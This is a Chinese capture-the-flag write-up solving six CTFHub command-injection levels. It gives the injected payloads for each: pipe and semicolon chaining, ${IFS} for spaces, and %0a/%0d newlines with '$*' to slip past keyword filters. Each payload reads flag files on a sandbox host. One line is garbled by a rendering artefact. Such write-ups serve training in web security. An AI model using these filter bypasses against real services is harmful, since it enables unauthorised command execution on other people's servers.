【CTFHub】REC-命令注入
文章目录
- 1. 命令注入-无过滤
- 2. 命令注入-过滤cat
- 3. 命令注入-过滤空格
- 4. 命令注入-过滤目录分隔符
- 5. 命令注入-过滤运算符
- 6. 命令注入-综合过滤练习
1. 命令注入-无过滤
127.0.0.1|ls
127.0.0.1 | cat 507646078368.php
查看页面源代码:获取flag
2. 命令注入-过滤cat
127.0.0.1|ls
127.0.0.1 | head flag_912679218831.php
查看页面源代码:获取flag
3. 命令注入-过滤空格
127.0.0.1|ls
利用 I F S 绕过空格: ‘ 127.0.0.1 ∣ c a t {IFS}绕过空格:`127.0.0.1|cat IFS绕过空格:‘127.0.0.1∣cat{IFS}flag_7556208413773.php`
查看页面源代码:获取flag通关
4. 命令注入-过滤目录分隔符
127.0.0.1|ls
由于过滤分隔符,flag_is_here文件夹下的文件不能直接读取
进入文件夹:127.0.0.1;cd flag_is_here;ls
读取文件内容:127.0.0.1;cd flag_is_here;cat flag_286791822911822.php
查看页面源代码:获取flag通关
5. 命令注入-过滤运算符
分析:
这段代码处理通过 GET 传递的 ip 参数。首先,初始化变量 res 为 FALSE,检查是否存在 ip 参数且不为空。若存在且有效,赋值给 ip,并使用 preg_match_all 函数检查是否包含特殊字符
|
或&
。如果不包含特殊字符,构建一个 ping 命令字符串,执行该命令并将结果存储在 res 中;如果包含特殊字符,则将匹配的结果存储在 res 中。代码未对输入做充分过滤,存在潜在的安全风险。
127.0.0.1|ls
;cat flag_88412031215065.php
查看页面源代码:获得flag通关
6. 命令注入-综合过滤练习
分析:
这段代码根据用户通过 GET 提交的 ip 参数执行操作。首先,初始化 res 为 FALSE,检查 ip 参数是否有效。正则表达式检查 ip 中是否包含特殊字符或敏感词,如 |、&、;、空格、/、cat、flag、ctfhub 等。如果没有,构建 ping 命令并执行,结果存储在 res 中;如果有这些字符,存储匹配结果。绕过方法包括使用 %0a (换行符)、%0d (回车符)、 ∗ 、 *、 ∗、{IFS} 等,以避开字符过滤机制。
首先:列举目录:?ip=127.0.0.1%0als
列举文件下的文件:
http://challenge-c9a08ad2226bc477.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Als#
查看文件内容:
http://challenge-c9a08ad2226bc477.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Ahead${IFS}fl$*ag_25656288724889.php#
查看源代码:获取flag通关。
完成 REC/命令注入 练习